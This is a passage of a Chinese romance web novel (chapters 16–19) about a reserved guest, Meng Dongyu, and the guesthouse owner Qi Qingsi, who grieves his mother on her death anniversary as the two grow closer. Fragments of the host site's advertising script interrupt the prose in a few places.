郑泽此刻的心思明显不在住哪里上,他目光狐疑地在祁清肆和孟冬愉身上逡巡片刻,最后锁定在祁清肆身上,福尔摩斯般总结:“你不正常。” 祁清肆嗤笑了声,没直接回应,反而开始威胁:“再废话你今晚睡大门外。” 郑泽用口型无声吐出几个字,又咬牙切齿地妥协:“你给我等着。” 祁清肆不以为意地“嗯”了声,抬手把郑泽的行李箱拉到胡杭跟前:“胡杭,帮忙把他带过去。” 胡杭这边得到了孟冬愉的点头允诺,看着更加高兴了,对祁清肆的吩咐也多了些言听计从。 他拖着腔调,俨然一副店小二的模样:“得嘞,二楼请吧,泽哥。” 目送胡杭和郑泽两人上楼,孟冬愉又忽的想起她敲门去找祁清肆时,胡杭也说过祁清肆不常在这里住。 孟冬愉犹豫了一下,还是好奇地问道:“郑泽住你房间,那你住哪儿?” 祁清肆看着心情不错,随手拉了把椅子坐下,慢悠悠开口:“怎么?怕找不到我啊?” 孟冬愉:“……” 就不该多此一问。 祁清肆看了她一眼,又接着问:“这两天什么时候有空?” 突然换了话题,孟冬愉有些不明所以:“问这个做什么?” 祁清肆笑了声,没个正形地给了个解释:“不是好奇我住哪儿吗? “什么时候有空了,我带你参观一下?” 16. 敌意 他神色一如既往的闲散,辨不清是认真的还是在开玩笑。 不过好奇归好奇。 他们的关系只是多了点交集的房东和租客,没到可以邀请她去参观他的住所的地步。 孟冬愉斟酌了一下,摇了摇头拒绝:“不用了,我就随便问问。” 像是知道她心里所想,祁清肆漆黑的眼睛盯着她,有种要纠缠下去的意思:“我可不是随便说的。” 孟冬愉没搭腔,看着手里他的手机,转移了话题:“我先帮你打游戏。” 祁清肆淡淡“嗯”了一声,情绪明显低落了几分,却什么都没说。 孟冬愉坐回沙发上,熟练地输入密码,手指飞快而流利地操作屏幕,游戏中途,胡杭和郑泽也下了楼,凑在她身后围观。 一局结束,郑泽竖起了大拇指,上下打量了她一眼,神色中满是钦佩:“想不到,真想不到。” “原本以为像冬愉学姐这种学霸,应该是一心只读圣贤书,没想到游戏也玩得这么溜。” 胡杭骄傲地跟着附和,好像他才是第一个发现璞玉的那个人似的:“没骗你吧,冬愉姐简直就是当代花木兰。” 面对他们一句接一句的彩虹屁,孟冬愉有些不好意思地抿了抿唇角,解释道:“没那么夸张,之前因为工作需要,特意练过一段时间。” 郑泽接话:“聪明人学什么都快。” 话说完,他扭头看了眼祁清肆,有些意味深长地扬声道:“冬愉学姐,你可别被祁清肆给骗了。” 骗? 突如其来的一句提醒,孟冬愉下意识去看了眼祁清肆。 祁清肆依旧在不远处的餐桌旁坐着,一副置身事外的模样。 一言不发,神色恹恹。 仿佛话题的讨论中心不是他。 孟冬愉回头问郑泽:“怎么说?” 郑泽挑眉,挑拨中又带着点拨:“祁清肆自己打游戏就很牛,怎么还让你帮他打啊?” 孟冬愉愣了一下,后知后觉地反应了过来。 她第一次帮他打游戏是他要出去接郑泽,那二次明明他在闲着,为什么还要她帮忙? 还顺带将连郑泽都不知道的手机密码都告诉了她。 心底莫名其妙地涌出一股情绪,不清不楚地萦绕在心头。 好像吃了一颗怪味豆,五味杂陈,却又形容不出来具体是什么感觉。 孟冬愉轻轻蹙了蹙眉,一时间不知道要如何开口。 好在郑泽也没过度追问问题的答案,他又掏出手机:“冬愉学姐,加个微信吧,等有空了我们2V2。” 祁清肆终于在这时出了声,语调带着点质问:“陌生人的微信说加就加?” “什么陌生人?”郑泽以为祁清肆在和他讲话,他拇指指了指孟冬愉,“这是我亲学姐。” 祁清肆冷着脸走了过来,从孟冬愉手中接过手机:“想玩游戏我拉群。” 四人小群飞快建好,祁清肆再次抬头看她,窝着火提醒:“孟冬愉,要划清界限就公平一点,别只针对我一个人。” ? 哪里针对他了? 什么时候又惹到他了? 孟冬愉不理解,并对此感到头痛。 眼看着气氛不太对,郑泽揽着祁清肆的肩膀换了话题:“今晚去不去喝酒?” 祁清肆拍开他的胳膊,兴致缺缺:“没劲,不去。” 郑泽依旧坚持劝说:“少爷我第一次来南江,你不给我接个风?” 祁清肆闻言轻哧:“我让你来的?” 郑泽也不恼,“啧”了一声,揶揄似的拍了下他的肩膀:“对我这么大敌意干嘛?我又不和你抢。” 祁清肆没吱声,瞥了他一眼,转身就往门外走。 郑泽连忙跟上去:“不是,祁清肆,你去哪儿?” 祁清肆头也没回地丢下一句话:“困,回去睡觉。” 郑泽快步跟上他,再次去揽他的肩膀:“那不成,这么久没见,得找个地方和哥们儿好好讲讲你小子什么情况。” 话说完,他又回头喊:“走了胡杭,一起啊。” 胡杭晃了晃手机,又挠了挠头:“不好意思泽哥,我就不奉陪了,我爸喊我回家吃晚饭。” 可能是意识到孟冬愉还在,郑泽接着问:“学姐你想吃点什么?我们等会儿给你打包带回来?” 他们喝酒不知道什么时候回来,这么问只是客套话。 这些人情世故孟冬愉还是懂的,她识趣地摇头拒绝:“谢谢,不用了。” “那行吧。”郑泽没再坚持,回过头来接着和祁清肆讲话,“作为东道主,你这几天得带我好好逛逛南江。” 祁清肆依旧冷声回绝:“忙,没空。” 闻言,郑泽话里开始带着点犀利:“忙?这两年可没见你有什么产出,全靠吃老本,你忙什么?” “现在很多人都说你江郎才尽了,你知不知道?” 话说完,郑泽又拍了拍脑袋,接着去刺激他:“哦,包租公干上瘾了?忙着收租啊?” 两人越走越远,郑泽的最后几句话和祁清肆的回应,孟冬愉没能听清。 - 拜师学艺,自然是越诚恳越勤奋越好。 接下来的几天,孟冬愉每天早出晚归,大部分时间都待在祁振强的木雕店跟着他学雕刻。 孟冬愉的学习能力和专注能力向来不错,跟着祁振强了解完注意事项,学完基本功,她就开始试图创新。 从选材到设计图纸再到炮制粗胚,最后雕刻打磨。 三天的时间,她自己设计的一个惟妙惟肖的卡通人物成型。 祁振强虽然什么都没说,但是面上是掩不住的满意。 这几天来,祁振强又雕了几套沉香木的摆件出来,每次都是刚摆出来没多久,就卖掉了。 还顺带卖掉了几个很久之前的老作品。 眼看着客流比往日多了些,尝到了创新带来的甜头,祁振强索性暂停了正在雕刻的巨大佛像,花更多的时间去雕那些小摆件。 终究是有深厚的雕刻功底在,他的速度很快,不出两天,店里的货架上的商品已经是老旧参半,一眼望过去,更加琳琅满目。 但是一家店铺突然上新,仅靠自然客流的宣传是远远不够的。 正在孟冬愉思考着要怎么将木雕店的名头打出去的时候,祁振强忽然和她说明天要闭店。 木雕店正在往好的方向发展,为什么忽然要闭店? 孟冬愉抽神回来,疑惑地放下雕刻刀,问道:“怎么了?发生什么事了?” 看着孟冬愉有些急迫,祁振强意识到自己方才话没说完整,又接着补充:“只闭明天一天。” “明天是阿肆妈妈的忌日。” 孟冬愉心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 底提起的一块石头再次落下,她抿着唇角点了点头。 第二天早上九点多钟起床的时候,满汀洲还出奇的安静。 孟冬愉简单吃了点东西,又去巷口的超市取了快递。 前几天给祁清肆挑的礼物总算到了。 自从上次拉了群之后,她每天早出晚归,就没再和祁清肆碰过面。 群里一直是胡杭和郑泽在水消息,也没见祁清肆吱过声。 今天不是一个送礼物的好时机,但孟冬愉还是在院子里坐了一上午。 然而,并没见祁清肆回来。 直到傍晚,童欣瑶才一个人回了满汀洲。 孟冬愉犹豫了一下,还是问道:“你们老板今天不回来吗?” 前两天一号房退了租,郑泽也搬了进去,祁清肆在满汀洲的房间又空了出来。 也不知道他什么时候回来住。 童欣瑶搬个小凳子坐在孟冬愉旁边,不知道在想些什么,片刻后才托腮应声:“他刚把我爸妈送去车站,现在应该在弯月湖吧。” “每年舅妈的忌日,他总要去那里坐坐。” 没从童欣瑶口中得到问题的答案,孟冬愉也没接着问,只是默默地和她并排坐着。 冗长的安静过后,童欣瑶再次开口:“冬天姐姐,祁清肆其实挺可怜的。” 孟冬愉依旧没吭声,试图听童欣瑶接着讲下去。 但是听她讲完这一句,等了很久,再也不见她有后话。 少女脸上没有了往日的生机盎然,反而多了些多愁善感。 孟冬愉叹了口气,换了话题,试图去调动她的情绪:“要不要和我一起去吃晚饭?” “我刚刚吃过了。”童欣瑶摇了摇头,而后又扯出一抹笑,“你饿了就快去吃吧。” 孟冬愉在秋意街填饱了肚子,鬼使神差地打了车去弯月湖。 夕阳西下,湖面上橙光粼粼。 祁清肆独自坐在湖心亭中,惯有的一身黑色,头上的帽檐压得很低。 他垂着头,嘴角咬着一根没点燃的烟,看不清神色。 孟冬愉走了过去,从帆布袋里摸出一个打火机,垂手递到他面前。 说来也巧,早上她去取快递的时候,二号房的大哥让她帮忙带个打火机回来,她买了回来却没再见到他人。 于是打火机就落在她的帆布袋中。 突如其来的举动明显让祁清肆愣了一下,他惊讶地抬头看。 四目相交,孟冬愉看到了他眼尾的红。 只一瞬间,祁清肆移开视线,不再去看她。 他将唇上的烟拿下来,随手丢进了垃圾桶,而后接过她手中的打火机。 把玩似的,“咔嚓”一声火焰燃起又熄灭。 他垂头笑了下,声音染着长久没讲话的哑,像是在解释:“我没什么烟瘾。” 不知道他为什么突然说起这个,孟冬愉在他身旁坐下,淡淡地应声:“嗯。” 祁清肆没去看她,接着说:“偶尔,不开心的时候才会抽。” 孟冬愉忽然想起,第一次见他抽烟,是那天他站在她门口喊她吃饭。 那天,那么不开心吗? 脑海中又想起童欣瑶方才说的话,心底突然多了些想要了解他的冲动。 孟冬愉捏了捏掌心,喊了他的名字,有些明知故问:“祁清肆,你现在不开心吗?” 17. 难过 落日将天空染成橘色,湖面水光反射,亮得晃眼。 帽檐遮挡了祁清肆的眼睛,又在落日余光的作用下,在他脸上形成大片的阴影。 原本肆意张扬的脸庞此刻有些晦暗。 沉默了片刻,他点头承认:“嗯,不开心。” 一直以来,孟冬愉身上都裹着厚厚的壳,时刻与人保持着安全距离。 面对着她的假面,没有人会主动向她袒露真实的情绪,更不会有人将自己的内心剖开给她看。 对于祁清肆出乎意料的坦诚,孟冬愉莫名乱了阵脚。 然后呢? 接下来该怎么问? 是继续明知故问,问他为什么不开心? 还是直截了当,问他的母亲是怎么去世的? 又或者拍拍他的肩膀,说要向前看,一切都过去了? 她对他了解甚少,对他难过的根源一无所知。 原本想要了解他的冲动逐渐冷却,心底的一道红线警示她,不要逾距。 孟冬愉攥紧了手中的帆布袋,最后选择了望着湖面沉默。 见她久久没应声,祁清肆偏头去看她。 他视线从她的脸上落到她的手中,而后问道:“孟冬愉,不安慰一下我吗?” 安慰人对她来说是很难的一件的事情。 看着他眼尾的潮红,孟冬愉心里轻轻叹了口气,她将帆布袋中的礼物掏出,递到他面前:“送你的。” 想了一下,又随之补充:“别难过了。” 被她生硬的安慰给逗笑,祁清肆的心情看上去好了一点儿。 他抬手接过她递来的礼物,将包装纸拆开,看到了里面的一张专辑。 祁清肆扬了扬手中的方形盒子,唇角忍着一丝笑意,挑眉问道:“为什么送我这个?” 前几年唱片公司看中载酒的热度,将他创作的词曲汇总成一张专辑,进行售卖。 不过当时只生产了一批,目前已经绝版。 这张专辑还是孟冬愉在网上蹲了很久才找到的卖家。 他还在等着她的回答,孟冬愉如实解释:“之前听你弹过几次他的曲子,想着你应该会喜欢。” 祁清肆将专辑翻了面,勾着唇角悠悠开口:“我要说不喜欢呢?” 孟冬愉也问过童欣瑶祁清肆究竟对什么感兴趣。 童欣瑶想了半天,说除了音乐还真不知道他有什么别的爱好。 这些天,好几次听过他弹载酒的歌,所以孟冬愉才觉得他会喜欢这张专辑。 精心挑选的礼物没俘获收礼人的芳心,孟冬愉叹了口气:“那你喜欢什么?” 祁清肆看着她,语气有些意味深长:“不先问一下我为什么不喜欢?” 孟冬愉不想浪费时间听他打哑谜,索性顺着他的话问道:“为什么?” 祁清肆漫不经心地把玩着手中专辑盒子:“真喜欢载酒?” 第一个问题的答案还没听到,又被他莫名其妙换了话题。 孟冬愉不自觉蹙了蹙眉头,视线落到他手中的专辑上,没承认也没否认:“问这个,和你不喜欢它有关系吗?” 祁清肆哼笑,嫌弃地点了点盒子上的名字:“真喜欢怎么连这个签名是假的都看不出来?他的字有那么丑?” 孟冬愉对于签名什么的并不在意,也没去关注过载酒的字迹,更何况他本来也是用作品说话。 她下意识脱口而出:“专辑是真的不就行了吗?” 祁清肆没搭话,神色复杂地盯着她看,片刻后又开口,像是在问她,又像是在透过她问别的人:“你们究竟喜欢他什么?” “两年多没什么新作品,一个江郎才尽的人,到底有什么好喜欢的?” 载酒的产出并不算很高,但是基本上创作的每首歌都是精品,每次新歌出来总是会在各大APP上火上一段时间。 孟冬愉自认为不算是一个合格的粉丝,有新歌出来就去听,很久没什么作品出来她也没去催过,更别提去做那些什么打榜控评做数据的事情。 经祁清肆这么一说,孟冬愉才忽然间意识到距离载酒上次发新歌,已经过去了两年多。 这两年她忙着工作忙着谈恋爱,确实没太关注过他的动向。 孟冬愉摇了摇头,试图替载酒辩驳:“喜欢他,是因为大家透过他的作品看到了他对人生的态度。” 就像是一颗启明星,引领着很多人从黑夜走到天亮。 孟冬愉没能将这句过于感性的话说出口。 祁清肆依旧一言不发地盯着她看,眼底氲着几丝她看不懂的情绪。 孟冬愉想了一下,又接着补充,带着点理想主义的愤慨:“他有产出的时候你们称他为天才,没作品的时候又说他江郎才尽,这些都是你们强加给他的名头,真正喜欢他的人根本不会在意这些。” “而且,他当初如果是为了名声或者为了金钱而去创作,也不会收获如今那么多人的喜欢。” 祁清肆神色似乎有几分动容,话出口时依旧带着淡嘲:“太天真了,孟冬愉。” 偏见一旦形成,很难通过三言两语去说服。 孟冬愉将头转了回去,望着湖面没再应声。 夕阳的最后一丝光亮隐没到云层里,暮色四合,周遭逐渐昏暗。 时间不早了,该回去了。 只是他们之间的问题还没解决好。 送人假签名的专辑终究是不太好,更何况他也不喜欢。 孟冬愉又在昏暗中扭头看他,耐着性子和他商量:“那你先把专辑还给我吧,我再挑个别的送你。” 祁清肆“嘶”了一声,完全没有要还给她的意思:“送出去的礼物怎么还有要回来的道理?” 孟冬愉对上他的视线:“你又不喜欢,留着做什么?” 祁清肆扯起唇角笑了下,语气辩不出真假:“我喜欢,行吗?” 他既然愿意收,孟冬愉倒也省了事不用再去挑别的。 她掏出手机看了眼时间,而后点开打车软件,地址还没输入,就被祁清肆打断。 他从口袋里摸出车钥匙,勾在指尖在她眼前晃了晃:“现成的司机在这儿,还打车啊?” 孟冬愉犹豫了一下,开口问道:“顺路吗?” 祁清肆挑眉:“你不回满汀洲?” 孟冬愉点头:“回。” 祁清肆示意她跟着往停车场走:“那就顺路。” 到了停车场,孟冬愉又犯了难。 第一次坐他的车,是坐后排还是坐副驾驶? 他虽然戏称自己是司机,但是总不能真把他当司机。 像是看透了她的心思,祁清肆下巴点了点副驾驶的位置:“不上车吗?” 孟冬愉谨慎地问:“方便吗?” 祁清肆笑得坦荡:“我又没女朋友。” 孟冬愉:“?” 祁清肆意味深长地看了她一眼:“还是说,你男朋友不让你坐别的男人的副驾驶?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “没有。”孟冬愉抿着唇角摇头,而后打开副驾驶的车门,上了车。 祁清肆从另一侧上去,接着追问:“是没男朋友,还是没说不让?” 孟冬愉:“……” 祁清肆仿佛已经知道答案了似的,他勾着唇角发动车子,又看了她一眼提醒道:“安全带。” 车子平稳驶出,行程还没过半,车载屏幕上忽的弹出一条来电。 祁清肆丝毫没避讳地按了接听。 对面一道女声传来:“清肆啊,我们到家了,和你说一声。” 祁清肆一边打着方向盘,一边应声:“嗯。” 对面似乎想到了什么,接着提醒:“我今天给你推的微信你别忘了加。” 祁清肆目视前方,片刻后才懒懒地给了回应:“没兴趣。” 对面坚持不懈地劝说:“之前给你推的那些你拒掉我也不说什么了,但是这小姑娘你见过的。” “就你前段时间来我们家,给你送草莓的那个姑娘,还记得不?” “长得挺水灵的,也很喜欢你。” 祁清肆想都没想:“没印象。” 对面叹了口气,有些无奈地解释:“我们也不是催着你赶快结婚,就是你这么大了,也该谈恋爱了。” “你妹妹欣瑶都比你感情经历丰富。” 话说完,对面又接着推销:“那小姑娘真不错,而且邻里之间知根知底的,你就当为了姑姑,和她认识一下?” 祁清肆没搭腔,看了眼副驾驶上默不作声的孟冬愉,而后慢悠悠开口:“孟冬愉,副驾驶抽屉里有糖,帮我剥一颗。” 对面闻言好像愣了一下,而后试探地问道:“清肆,你不在家啊?” 祁清肆:“在开车。” 对面接着问:“旁边有人?” 祁清肆:“嗯。” 对面:“女孩子?” 祁清肆:“嗯” 对面:“去哪了?” 祁清肆勾唇:“约会。” 正在找糖的孟冬愉:“?” 对面声音小了一点:“刚刚我和你讲的话她听得到吗?” 祁清肆漫不经心应声:“听得到。” 对面换上了羞愧又嗔怪的语气:“哎哟,你看看你,有女朋友不早说。” “姑娘啊,你别介意。这人一上了年纪,就爱当红娘。” “你放心,你和清肆好好处,我不会再给他介绍了哈。” 孟冬愉看了眼气定神闲的祁清肆,有些慌乱地解释:“阿姨,我不是——” 话没说完,就被祁清肆点了静音。 他将车停下,一本正经地看着她:“孟冬愉,帮个忙。” 一直被长辈催着谈恋爱结婚确实很烦。 孟冬愉点了点头,决定当一次挡箭牌:“我只能保证接下来不说话,剩下的你自己应付。” 对面的声音还在响:“喂?听得到吗?怎么忽然没声音了?” 祁清肆笑了声,将麦克风打开,解释道:“信号不好。” 可能是怕太过热情吓到孟冬愉,对面没再追问下去,沉默了一会儿,又换了话题:“清肆啊,这么多年过去了,你爸爸也不容易,你就别和他赌气了。” 像是触及到了什么开关,车内的气氛一瞬间凝重了起来。 祁清肆目视着前方,却没再发动车子。 他手指攥着方向盘,骨节发白:“你们还是觉得我妈的死,和祁振强没关系是吗?” 18. 靠近 这么多年过去了,但是通话中的双方显然都没能释怀。 祁清肆的母亲究竟是怎么离世的?又和祁振强有什么关系? 这些事情孟冬愉虽然有些好奇,但是此刻祁清肆不是在主动和她讲。 她只是搭了个顺风车,碰巧听到了这件事。 涉及到家庭纠纷和往事回忆,或许会有争吵,也可能会让当事人觉得难堪。 于情于理,她都觉得此刻不该在场。 孟冬愉轻悄悄地把安全带的按扣打开,打算下车回避一下。 只是刚推开车门,就被祁清肆摁住了手腕。 他没去看她,依旧直视着前方,等待着电话中的人接下来的发言。 对面的人重重地叹了口气,夹杂着电流声传来:“清肆,你知道的,你妈妈是为了救人才——” 没等她的话说完,祁清肆就冷声打断,一字一句地提醒:“我的游泳是她教的。” 对面试图劝说:“我知道,但是——” 祁清肆再次截住她要说的话:“她当时如果有求生的欲望,就不可能死。” 对面安静了片刻,又缓缓开口:“水性再好也会遇到意外不是?” “意外?”祁清肆扯着唇角讥笑,像是听到什么离谱的笑话一样,“她那晚去弯月湖之前和祁振强吵了些什么,隔壁邻居听得一清二楚。” 对面再次叹了口气,以长辈的口吻谈经验:“夫妻之间过日子,哪有不吵架的?” “我和你姑父,也是三天两头地吵,怎么可能因为吵一次架就轻生?” 祁清肆并不乐意听她这些话,语调中讥讽的意味更深:“祁振强一声不吭地把她经营的民宿卖掉,这叫过日子?” 对面应该是想到了什么,顺着他的话感叹:“唉,你爸爸这个人也是,当初卖房子那件事情到现在不肯说清楚。” 祁清肆冷哼:“那是他心虚。” 对面的立场并没有因此改变,继续方才的话题:“不管怎么说,那房子也是你爷爷留给你爸爸的,处置权确实在他。” 闻言,祁清肆脸上染了几分怒意,话里开始带着攻击性的尖锐锋芒:“那我妈那几年辛苦的经营算什么?” “你们所有人都觉得她无依无靠、好欺负,死了也无所谓是吗?” 祁清肆话说到这里,已经偏离了主题。 此刻已经不是再去单纯地辩驳他母亲的死因,而是有点连坐的意思。 对面明显也听了出来,但是似乎并没有意识到究竟是哪句话惹怒了他。 她语调有些心寒:“清肆,怎么能这么说?你妈妈去世我们都很难过。” 祁清肆闭了闭眼,强行将失控的情绪压下:“抱歉。” 见祁清肆语气缓和,对面接着补充:“你爸爸当初为了娶你妈妈,被你爷爷打骂了无数次。” “他有多爱你妈妈,我们都看得出来。” “你妈妈去世,他比我们都难过。” 祁清肆深吸了一口气,语调带着吐槽的意味:“整天守着他那个破店,我倒是没看出来他有多难过。” 对面应该是以为祁清肆态度松动,开始持中立态度,试图去当父子关系的粘合剂:“你们父子俩一个个都是闷葫芦,什么话都憋在心里不肯说。” “我回头也说说他,你们改天找个时间好好聊聊,把话都讲讲清楚。” “终究亲父子,血浓于水,总不能老死不相往来。” “没什么好讲的。”祁清肆话语中没有了方才的隐怒,但是依旧坚持最初的观点,“如果他们没吵架,那晚她就不会去弯月湖。” “我也不信,一个从小在海边长大、水性极好的人,会将人救上岸后自己溺死在水里。” 眼看着一番拉锯战又回到起点,对面话语声也带着些无奈:“清肆啊,你有的时候就是想得太多。那晚月黑风高的,警察不也说了么,真的就是一场意外。” “而且,就算不是意外,就算她对你爸爸失望了,她怎么会舍得抛下你?” 这次祁清肆还没搭腔,对面已经准备结束话题:“我也不和你吵了,别让姑娘看我们的笑话。” “时间不早了,你们早点回去,路上注意安全。” 电话“嘟”地一声挂断,车内再次恢复了安静。 看着周身气压依旧不怎么高的祁清肆,原本极力屏住呼吸试图当隐形人的孟冬愉试探地开口:“如果你介意的话,我可以当做什么都没听到。” “没什么不能听的。”祁清肆松开她的手腕,语气带着点自嘲,“死于见义勇为,多光荣啊。” 孟冬愉不擅长窥探人心,更不知道有人将内心深处的伤痕袒露出来后,她该怎么办。 方才从储物抽屉里拿出来的薄荷糖还握在手中。 孟冬愉叹了口气,把掌心摊开,送到他面前:“祁清肆,要向前看。” 祁清肆没接,视线从她的手掌移到她的脸上,探寻答案般问道:“孟冬愉,你也觉得祁振强没错吗?” 经过这些天的相处,孟冬愉能感觉到,祁振强虽然封建古板了些,但是不是什么坏人。 他对那张合照视若珍宝,每天要看上好多遍,也有在主动去缓和和祁清肆的关系。 不过,未知全貌,不予置评。 孟冬愉摇了摇头,说:“我不知道。” 祁清肆像是知道她会这么说,有些失望地点了点头,而后发动了车子。 车子行驶速度不慢,道路旁的路灯快速掠过车窗,光影交叠间,孟冬愉抿了抿唇角,打破了车内的安静:“祁清肆,我能看出来,祁叔叔很爱阿姨。” 她对很多事情都一副置身事外的模样,处处谨小慎微,不去靠近别人,也不让别人靠近。 没料到她会将心里话说出来,祁清肆偏头看了她一眼,而后柔声应道:“知道了。” 回到满汀洲的时候,郑泽正在楼下的客厅直播。 他举着手机,和观众一直互动—— “给家人们看一下,我住的环境,比五星级酒店都舒服。” “没花钱,我这点人脉还是有的,我好兄弟开的民宿。” “什么打广告?我兄弟这民宿比我有名多了,你们不信去搜一下。” “说正事儿啊家人们,这几天南江的吃吃喝喝我也带大家差不多逛一遍了。大家还有什么想看的弹幕上走一波。” …… 郑泽说起来也算是敬业,全然没注意到孟冬愉。 孟冬愉站在门口,听着他滔滔 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不绝的聊天,进也不是,不进也不是。 祁清肆停好车过来,和孟冬愉并肩站着,下巴点了点客厅,明知故问:“不进去?” 这不很明显,她不想入镜,哪怕只是路过。 孟冬愉撇了他一眼,没搭腔。 祁清肆不知道是想起了什么,忽的开口:“孟冬愉,你对我还挺特别。” 莫名其妙地一句话。 孟冬愉不解地看他:“什么意思?” “现在不维护自己的合法权益了?”祁清肆似笑非笑,神色意味不明,“郑泽在客厅直播,侵犯你的隐私权,不投诉一下?” 孟冬愉:“?” 他怎么对她说过的话记得那么清楚? 还竟然找到了机会原封不动地还回来? 孟冬愉暗暗吸了一口气,面不改色应声:“找谁投诉?” 她的反应再次勾起了他的兴致,祁清肆倚在墙上,又恢复些吊儿郎当:“找民宿老板。” 孟冬愉被他给逗笑,索性顺着他问:“怎么投诉?” 祁清肆笑了声,懒懒地朝客厅扬声道:“郑泽,回自己房间直播,有客人投诉。” 郑泽那边应该也是在收尾阶段了,他闻言朝祁清肆他们那边看了一眼,而后对着屏幕说了结束语:“好了家人们,今天多啰嗦了两句,时间也不早了,今天就先到这儿了,我们明天见。” 说完,他快速下播,然后冲到祁清肆面前,不满地问道:“少爷我免费帮你宣传民宿。” “谁这么不识好人心,还投诉我?” 祁清肆视线落到孟冬愉身上,语气有些含糊其辞:“我不知道。” 话是这么说,但是神色的指向很明显。 明晃晃的挑拨离间。 幼稚鬼。 孟冬愉有些恼地瞪了他一眼,而后又意识到这个瞪人的举动不太礼貌。 她不自然地抿了抿唇角,面无表情地穿过客厅,上了楼。 郑泽自然也看出来了他们之间的端倪,撞了下祁清肆的胳膊,暗戳戳道:“冬愉学姐害羞起来挺可爱的。” 祁清肆横了他一眼,带着点酸意哼笑:“眼神不用那么好。” …… 明明只有傍晚出去了一趟,但是孟冬愉却觉得无论是身体上还是心理上都莫名的累。 她回到房间洗漱好,刚躺到床上,门又被敲响。 孟冬愉叹了口气,起身开门。 门口站着的,又是祁清肆。 今天该说的话都说得差不多了,他又大半夜的来找她干嘛? 孟冬愉拢了拢披在身上的外套,直白地问道:“还有什么事情吗?” 祁清肆这次也没再绕弯子:“来拿木雕。” 孟冬愉一时间没反应过来:“什么木雕?” 祁清肆言简意赅:“祁振强的。” 送他礼物的契机,也是上次祁清肆说和她的礼物一起送,他就收。 只是今天是他母亲的忌日,孟冬愉本来没想着今天就把礼物送出去,更没想着今天送木雕。 没想到他竟然主动来拿了。 应该是看出了她的惊讶,祁清肆垂眼盯着她,给了个解释:“你对我印象已经够差了,我总不能再言而无信。” 19. 小狗 所以,他大半夜过来敲门,来拿一个他并不想收的东西。 只是为了不再给她留下更差的印象? 今天也了解了一点祁清肆的往事,知道了其中的一些恩怨纠葛。 就算他不愿意收这些木雕,孟冬愉也不会往“言而无信”的品格上想。 更何况,孟冬愉一直觉得以他的性格来看,他这个人应该不会去在意别人的眼光。 孟冬愉组织了一下语言,而后问道:“不想收就不收,干嘛这么在意别人的看法?” “没在意别人的看法。”祁清肆咬着牙笑,“我在意的是——” 后半句话没说完,他深吸了口气,又突兀地换了话题:“孟冬愉,我到底做了什么才让你印象那么差?” 刚入住那几天,孟冬愉确实对他的某些言行举止颇有微词。 先入为主地认为他是那种恣意随性、玩世不恭的浪荡公子哥。 其实也不算印象多差,只是觉得她和他不是一个世界的人,觉得他们之间有着天然的鸿沟。 于是自然而然地想去避免和他有过多的接触,只是没想到竟然会一次又一次意外地和他产生交集。 经过这些天的相处,无论是从为人处世,还是从人品上来看—— 他都是个挺不错的人。 目前更谈不上对他印象差。 面对他毫无证据的质问,孟冬愉试图替自己辩解:“我没有对你印象很差。” “没有很差。”祁清肆重复她的话,目光幽幽地总结了一个答案出来,“那还是有点差。” 孟冬愉:“……” 那要她怎么说? 说对他印象很好? 孟冬愉忽然间觉得方才的总结,少加了一句话。 他是个挺不错的人,就是有的时候有点…… 让人无语凝噎。 孟冬愉摇头否认:“没有。” 祁清肆看着她,略带质疑:“真的?” 孟冬愉无奈地点头:“嗯。” 得到了确认,祁清肆满意地翘起唇角,开始有些得寸进尺:“那以后能不能对我态度好一点儿?” 哪里对他态度不好了? 应该是看出了她的无话可说,祁清肆带着点似有若无的醋意再次开口:“你对胡杭和郑泽的态度,可比对我要好。” 孟冬愉:“?” 无论是胡杭还是郑泽,她私下都没怎么相处过,大多数时候只是礼貌地点头寒暄。 怎么就能看得出来她的态度? 还要拎出来对比一下? 孟冬愉倒吸一口气,蓦然反应过来—— 明明只是来取木雕的,话题再次不知不觉间被他带偏。 孟冬愉转身回屋,从桌子上取来印着蛋糕logo的袋子递给他,试图结束话题:“时间不早了,早点休息。” 祁清肆也没再继续追问下去,接过她手中的袋子,手指在里面翻了翻,夹了个小狗的摆件出来。 他食指和中指夹着小狗的脖子,拎到孟冬愉面前,下巴扬了扬:“送你的。” 孟冬愉倒也没推脱,接了过来道了声谢,在他的“晚安”声中合上了门。 祁清肆看着她紧闭的房门勾了勾唇角,而后慢悠悠地转身离开。 刚走到没多远就被郑泽给拦了下来。 郑泽显然听到了他们的对话,模仿着祁清肆的语气,撇着嘴道:“你对胡杭和郑泽的态度,可比对我要好。” 祁清肆掀起眼皮睥了他一眼,没搭腔。 郑泽揽着他的肩膀将他打量了一番,不依不饶地揶揄:“这还是当初那个骄傲张扬的祁清肆吗?怎么在冬愉学姐面前,一点儿自信都没了?” “还有,都说了不和你抢,怎么还吃我的醋啊?” 祁清肆将他的胳膊从肩膀上打落,径直往房间的方向走,话里带着点威胁的意味:“再废话就拎着你的行李箱滚蛋。” “不是,怎么还急眼了?”郑泽也不恼,依旧缠着祁清肆,“上次喝酒我问破嘴皮子你都不肯说,一见钟情还是见色起意?都是兄弟有什么不好意思讲的?” “咱们好好聊聊呗,我给你出谋划策……” 话没讲完,门“砰”地一声合上,郑泽站在门外,吃了个真正意义上的闭门羹。 …… 合上门后,孟冬愉倒回床上,将手中的小狗木雕举在眼前,细细打量。 祁振强的刀工了得,雕出来的卷毛小狗吐着舌头笑得欢快,称得上栩栩如生。 檀木的选材散发着清幽的香味,似有若无地萦绕在鼻尖。 孟冬愉忽的想起祁清肆那天刚洗完澡后朝她凑过来的脸庞。 他眼中染着浓郁的笑意,身上是冷而潮的檀木香。 脑海中的人影和眼前的小狗重叠,竟莫名有些相似。 孟冬愉不自觉弯了弯唇角。 不知是檀木香的安神作用,还是今天本来就累,孟冬愉迷迷糊糊中睡了过去。 在梦中,木雕小狗摆件变成了一只真正的卷毛小狗。 毛茸茸的,朝孟冬愉吐着舌头。 可爱归可爱,但是被狗咬过的阴影,让孟冬愉本能地想要避开。 小狗似乎并没察觉到她的不喜欢,依旧热情地往她怀里钻。 孟冬愉一而再再而三地将它推开,小狗终于停了下来,委屈地朝她“汪汪”两声。 而后又带着真诚和热烈的爱意,坚持不懈地向她扑来。 